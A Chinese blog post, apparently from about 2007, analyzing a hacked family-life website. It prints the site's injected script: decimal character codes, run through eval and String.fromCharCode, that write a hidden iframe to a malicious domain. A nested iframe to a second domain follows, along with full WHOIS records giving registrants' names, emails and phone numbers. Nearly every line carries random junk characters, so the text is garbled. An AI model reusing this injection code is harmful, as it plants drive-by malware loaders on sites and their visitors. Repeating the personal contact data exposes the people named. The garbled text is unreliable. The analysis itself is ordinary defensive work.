首发在我的博客里面，
Z= P]UD s}NE[Tw http://www.areway.cn/?p=175 ev}lb+pr)_ hx4X#_)v 8CR b6 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
n*UD0 U}` -Ris Z-n* <script>t=’60,105,102,114,97,109,101,
r2WW}W
32,115,114,99,61,104,116,116,112,58,47,47,
u|v2J/_5Y 102,114,101,101,46,117,45,117,117,117,46,99,
W+v7OSd92 110,47,101,114,114,111,114,46,104,116,109,
VM
3~W 32,119,105,100,116,104,61,49,48,48,32,104,
noali96J 101,105,103,104,116,61,48,62,60,47,105,102,
B:-qUuS?R 114,97,109,101,62′;
#nTzn2 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
;<j[0~qp: F|,_k %QP <script>t=’60,105,102,114,97,109,101,32,115,
v1s.j2T 114,99,61,104,116,116,112,58,47,47,102,114,
n]?KDID; 101,101,46,117,45,117,117,117,46,99,110,47,
A2fc_A/a 101,114,114,111,114,46,104,116,109,32,119,
v{/z`J!JR 105,100,116,104,61,49,48,48,32,104,101,105,
A4lW8&r HI 103,104,116,61,48,62,60,47,105,102,114,97,
C5q
n( tv 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
o5NV4= document.write(t);</script>
F }/t V 7m =Oo=&vA.oc <html xmlns=”
6Qo
YX] .
http://www.w3.org/1999/xhtml Q{s9{ “>
fwe4f <head>
JDTlzu1hR <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
8zDLX,M- <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
Fj?gXc5{ <title>首页 - 爱生活家庭网
ID /=YG@ {yo<19kV@ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
ZtS>'W8l 转换字符串后的大概内容是（谁点击后果自付）：
6:Fb>|]*PY <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
L_TM]0D>7 |@6t"P ]@ 查询玉米u-uuu.cn的详细信息：
:gD=F & V Domain Name: u-uuu.cn
U3R;'80 f ROID: 20070901s10001s64972306-cn
"iu9r%l94 Domain Status: ok
it
Byw1/ Registrant Organization: 王雷
us/}_r74N* Registrant Name: 王雷
ULqFJ*nla Administrative Email:
czlovexs@126.com O z 3JMZe Sponsoring Registrar: 北京万网志成科技有限公司
U`G Name Server:ns.yovole.com
%\i
OX|F_ Name Server:ns1.yovole.com
fV b~j ; Registration Date: 2007-09-01 17:54
>iZ"#1ZL2O Expiration Date: 2008-09-01 17:54
[{}Hk%wlX 最后PING了一下地址 都没有什么….
z|p C*1A\ d`}t!]Gg 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
_#9F@SCA <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
u,E _Ezq <script language=”javascript” src=”
8 %eWB$<X http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script UDBMf2F] >
&7K 4 tL 这个玉米应该有可能是木马作者的：
Yo 0wufbfV foafau.info的详细信息：
G1RUu-~+ Access to INFO WHOIS information is provided to assist persons in
dF@m4U@L determining the contents of a domain name registration record in the
F(!9;O5J] Afilias registry database. The data in this record is provided by
2.,4b- ^ Afilias Limited for informational purposes only, and Afilias does not
6cO3 6 guarantee its accuracy. This service is intended only for query-based
7? U)V03 access. You agree that you will use this data only for lawful purposes
pTQ70V3 and that, under no circumstances will you use this data to: (a) allow,
r |H 1Yy enable, or otherwise support the transmission by e-mail, telephone, or
;r H< facsimile of mass unsolicited, commercial advertising or solicitations
xaPaK- to entities other than the data recipient’s own existing customers; or
LqZsH0C (b) enable high volume, automated, electronic processes that send
yYdow.b! queries or data to the systems of Registry Operator, a Registrar, or
n<GTc{>Z Afilias except as reasonably necessary to register domain names or
Gx&o3^ t modify existing registrations. All rights reserved. Afilias reserves
QfdATK P the right to modify these terms at any time. By submitting this query,
^x BQ#p you agree to abide by this policy.
#N?VbDK9_ Domain ID:D22418703-LRMS
;hz;|\ko5 Domain Name:FOAFAU.INFO
mz[Q]e~&i Created On:20-Nov-2007 16:05:42 UTC
{5GXN! f Last Updated On:20-Nov-2007 16:05:44 UTC
~AvB5 Expiration Date:20-Nov-2008 16:05:42 UTC
4qsP/`8 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
9;ZaL7> Status:CLIENT DELETE PROHIBITED
5 $58 z Status:CLIENT RENEW PROHIBITED
-Lo3@:2i Status:CLIENT TRANSFER PROHIBITED
nzcXL
=^r3 Status:CLIENT UPDATE PROHIBITED
z(Y zK Status:TRANSFER PROHIBITED
d~0k}|> Registrant ID:GODA-040110615
3qlY=5Y Registrant Name:liu hong
I_dO*k%l Registrant Organization:
H.Q648A"PF Registrant Street1:beijing
o_i N(K Registrant Street2:
r5> 1n/+6 Registrant Street3:
fTq/9=Rq4 Registrant City:beijing
EE{ ]EW ( Registrant State/Province:
(C3:_cM 5 Registrant Postal Code:100000
Wb1?>q Registrant Country:CN
4#^E$N: Registrant Phone:+86.860108888777
DN$[rCi7 Registrant Phone Ext.:
cF2!By3M Registrant FAX:
q6] T;)U& Registrant FAX Ext.:
_
SuW86 Registrant Email:bbbshiji@163.com
TJO?BX_9 Admin ID:GODA-240110615
GJ9'i-\*\ Admin Name:liu hong
`K%f"by Admin Organization:
j;7:aM"BQW Admin Street1:beijing
N6>ert1 Admin Street2:
j5Cf\*B4J Admin Street3:
hFQ*50n} Admin City:beijing
]B2%\}c Admin State/Province:
k#oe:u`< Admin Postal Code:100000
,pT j'I Admin Country:CN
)8Q;u8jm1 Admin Phone:+86.860108888777
j*6>{_[ Admin Phone Ext.:
_{
Np _ (g Admin FAX:
J4woZ{d Admin FAX Ext.:
A)5;ae Admin Email:bbbshiji@163.com
.7<6
zG6J Billing ID:GODA-340110615
t+l{D#?a
Billing Name:liu hong
O30eq 7( Billing Organization:
)` ^/Dj; Billing Street1:beijing
2gN78#d Billing Street2:
.rcXxV@f Billing Street3:
|uIgZ|7[ Billing City:beijing
,SF>$
. Billing State/Province:
gb^<6BYUG Billing Postal Code:100000
d5YL =o Billing Country:CN
W6A-/;S\ Billing Phone:+86.860108888777
%7S{g Billing Phone Ext.:
Bo4MoSF} Billing FAX:
nK8IW3fX9) Billing FAX Ext.:
hWz/PK, Billing Email:bbbshiji@163.com
r+W ;}nyf Tech ID:GODA-140110615
'44I}[cA/ Tech Name:liu hong
r .`&z Tech Organization:
N f^6t1se Tech Street1:beijing
1)BIh~1{p Tech Street2:
}~+q S` Tech Street3:
M/abd 7q Tech City:beijing
'3uN]-A>D Tech State/Province:
1G}\IK1+ Tech Postal Code:100000
x,fX mgE Tech Country:CN
kZ K1{ Tech Phone:+86.860108888777
KlGmO;k Tech Phone Ext.:
d1 >L&3HKx Tech FAX:
BGrV,h^ Tech FAX Ext.:
(^~0%1 Tech Email:bbbshiji@163.com
H?4t\p SS Name Server:NS27.DOMAINCONTROL.COM
}nK=~Wcu\ Name Server:NS28.DOMAINCONTROL.COM
Maw$^Tz, Name Server:
aJzyEb Name Server:
n_/;j$h Name Server:
5{|tE! Name Server:
-%_v b6u Name Server:
.P(A x:g Name Server:
-\[&<o@/D Name Server:
9zD,z+ Name Server:
,7n8_pU Name Server:
f~R`RBZ]9 Name Server:
[NU@A >H Name Server:
,o p S)C$ rNl%I@ G 接着下载每个文件里面的代码：
]^6r7nfR6| 一步一步看..
%%{f-\-7Ig 
(,j ~s{ 
6[3>[ej:x 
j\\uW)ibG 
Vwpy/5Hmp 
n48%Uwa, 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
